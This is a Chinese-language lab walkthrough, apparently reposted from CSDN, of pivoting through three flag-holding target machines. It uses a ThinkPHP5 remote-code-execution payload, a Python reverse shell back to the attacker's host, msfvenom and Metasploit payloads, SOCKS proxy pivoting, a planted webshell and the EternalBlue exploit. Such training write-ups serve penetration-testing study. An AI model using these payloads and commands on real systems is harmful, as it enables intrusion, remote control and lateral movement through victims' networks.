从web到内网渗透的一次过程详解

作者:https://blog.csdn.net/kukudeshuo/article/details/120533367 时间:2023-05-20 21:23:08 

记一次从web到内网的渗透

拓扑图

从web到内网渗透的一次过程详解

环境介绍

现在有三台机器,分别为target1,target2,target3,里面分别有三个flag,每个flag的分值不同,需要通过拿下一个已知IP(target1)进而向内网里面进行渗透,最终要成功获得三台主机权限

渗透过程

target1

使用nmap进行扫描

从web到内网渗透的一次过程详解

可以看到开启了80端口
浏览器访问目标靶机80端口

从web到内网渗透的一次过程详解

可以看到就是apache的默认页面
使用dirb进行目录结构扫描

从web到内网渗透的一次过程详解

发现public页面

从web到内网渗透的一次过程详解

可以看到是thinkphp5搭建的网站,thinkphp5曾经爆过一个远程代码执行的漏洞,直接上网站寻找payload验证是否存在漏洞


http://192.168.109.181/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

从web到内网渗透的一次过程详解

可以看到确实存在漏洞,现在可以向网站里面写入一句话木马,然后用蚁剑去连接,这是一种方法,但是也可以直接去尝试反弹一个shell到kali上


kali上执行:nc -lvvp 4444
浏览器中执行:http://192.168.109.181/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.109.128%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);

可以看到kali这边成功反弹到了一个shell

从web到内网渗透的一次过程详解

使用python生成一个交互式的shell

从web到内网渗透的一次过程详解

查找一下flag

从web到内网渗透的一次过程详解

成功获得第一个flag
使用msfvenom生成一个反向的shellcode


msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.109.128 lport=5555 -f elf > msf.elf

从web到内网渗透的一次过程详解

使用python开启一个临时http服务

从web到内网渗透的一次过程详解

靶机下载该shellcode

从web到内网渗透的一次过程详解

然后kali打开msf,进行监听


use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lport 5555
set lhost 192.168.109.128
exploit

从web到内网渗透的一次过程详解

然后靶机上给予shellcode执行的权限后执行该文件

从web到内网渗透的一次过程详解

可以看到kali这边成功返回一个meterpreter

从web到内网渗透的一次过程详解

查看一下网络配置

从web到内网渗透的一次过程详解

可以看到target1还存在一个网段
添加路由表

从web到内网渗透的一次过程详解

配置socks代理


use auxiliary/server/socks_proxy
exploit

从web到内网渗透的一次过程详解

配置proxychains代理链


vim /etc/proxychains4.conf

从web到内网渗透的一次过程详解

target2

扫描10.1.1.0/24这个网段是否还存在其他机器


use auxiliary/scanner/portscan/tcp
set rhosts 10.1.1.0/24
set ports 1-1000
set threads 50
exploit

从web到内网渗透的一次过程详解

可以看到该网段还存在一台机器为10.1.1.150
使用nmap扫描10.1.1.150开放端口


proxychains4 nmap -Pn -sT 10.1.1.150

从web到内网渗透的一次过程详解

可以看到也开放了80端口
这里直接用浏览器去访问10.1.1.150的80端口显然是不行的,不过火狐浏览器也是支持socks代理的

从web到内网渗透的一次过程详解

再次访问网站
从web到内网渗透的一次过程详解

查看robots.txt文件

从web到内网渗透的一次过程详解

找到后台登入位置

从web到内网渗透的一次过程详解

直接使用弱密码admin:admin登入成功

从web到内网渗透的一次过程详解

成功获得第二个flag,找到模板位置,发现里面的源码都是可以编辑的

从web到内网渗透的一次过程详解

写入一句话木马

从web到内网渗透的一次过程详解

然后使用蚁剑去连接,当然直接去连接肯定也是不行的,不过蚁剑也是支持代理设置的

从web到内网渗透的一次过程详解

之后再正常去连接就行了,但是我这里不知道是环境问题还是蚁剑的问题,正常来说这里是肯定能连接成功的,我试了很多遍都没有成功,然后想着直接把那个页面里面的源码直接换为大马,也是不行的,因为一般大马都是经过作者编译过了,直接复制过去肯定会有问题,最后只能直接将大马事先准备在了网站根目录下面,这里主要是为了体现内网渗透,所以这里也不细说
访问大马

从web到内网渗透的一次过程详解

使用msfvenom生成一个正向连接的shellcode


msfvenom -p windows/meterpreter/bind_tcp lport=6666 -f exe -o 1.exe

从web到内网渗透的一次过程详解

然后通过大马将shellcode上传到目标服务器

从web到内网渗透的一次过程详解

然后再次进入之前打开的msf

从web到内网渗透的一次过程详解

然后在大马上执行上传的shellcode

从web到内网渗透的一次过程详解

可以看到kali这边成功返回了一个meterpreter

从web到内网渗透的一次过程详解

查看网络配置

从web到内网渗透的一次过程详解

可以看到还有一个网段10.1.2.0/24
将路由添加到路由表


run post/multi/manage/autoroute

从web到内网渗透的一次过程详解

taget3

扫描10.1.2.0/24网段是否还存在其他机器


use auxiliary/scanner/portscan/tcp
set rhosts 10.1.2.0/24
set ports 1-1000
set threads 100
exploit

从web到内网渗透的一次过程详解

这里扫描实在太慢,这个网段还有一个机器IP为10.1.2.250
然后再添加一层socks代理


use auxiliary/server/socks_proxy
set srvport 2222
exploit

从web到内网渗透的一次过程详解

配置proxychains代理链


vim /etc/proxychains4.conf

从web到内网渗透的一次过程详解

使用nmap进行端口扫描


proxychains4 nmap -Pn -sT 10.1.2.250

从web到内网渗透的一次过程详解

根据扫描结果判断操作系统为windows
再使用nmap的漏扫脚本进行扫描


proxychains4 nmap --script=vuln 10.1.2.250

从web到内网渗透的一次过程详解

可以看到存在ms17-010,直接上msf寻找攻击模块


use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.1.2.250
exploit

从web到内网渗透的一次过程详解

查找一下flag

从web到内网渗透的一次过程详解

三台主机的权限全部那先,所有flag查找完毕,至此,渗透结束

来源:https://blog.csdn.net/kukudeshuo/article/details/120533367

标签:web,内网渗透
0
投稿

猜你喜欢

  • python七种方法判断字符串是否包含子串

    2023-09-19 04:06:20
  • pytorch 实现删除tensor中的指定行列

    2023-05-22 14:26:26
  • python实现求两个字符串的最长公共子串方法

    2021-08-02 21:14:08
  • Django DRF认证组件流程实现原理详解

    2021-01-03 08:48:49
  • Get方法和Post方法的区别深入理解

    2023-12-09 11:42:18
  • Python实现读取csv文件并进行排序

    2021-06-27 08:37:59
  • JS实现常用导航鼠标下经过下方横线自动跟随效果

    2024-04-17 10:11:55
  • python用opencv将标注提取画框到对应的图像中

    2023-01-18 21:10:16
  • golang构建工具Makefile使用详解

    2024-04-28 10:46:04
  • 浅谈Python实现2种文件复制的方法

    2021-09-24 00:25:02
  • Web2.0视觉风格进化论 之一

    2007-11-03 19:58:00
  • python日志logging模块使用方法分析

    2023-01-06 17:22:51
  • python list等分并从等分的子集中随机选取一个数

    2022-07-06 05:24:04
  • python解释器安装教程的方法步骤

    2023-02-09 14:04:08
  • Pandas之ReIndex重新索引的实现

    2023-10-22 20:47:28
  • 不能忽略c#中的using和as操作符的用处

    2024-03-23 08:08:41
  • mysql 基础教程之库与表的详解

    2024-01-19 13:14:38
  • Linux上通过binlog文件恢复mysql数据库详细步骤

    2024-01-27 17:56:01
  • python3利用ctypes传入一个字符串类型的列表方法

    2021-06-10 20:33:36
  • go语言实现mqtt协议的实践

    2024-04-23 09:34:38
  • asp之家 网络编程 m.aspxhome.com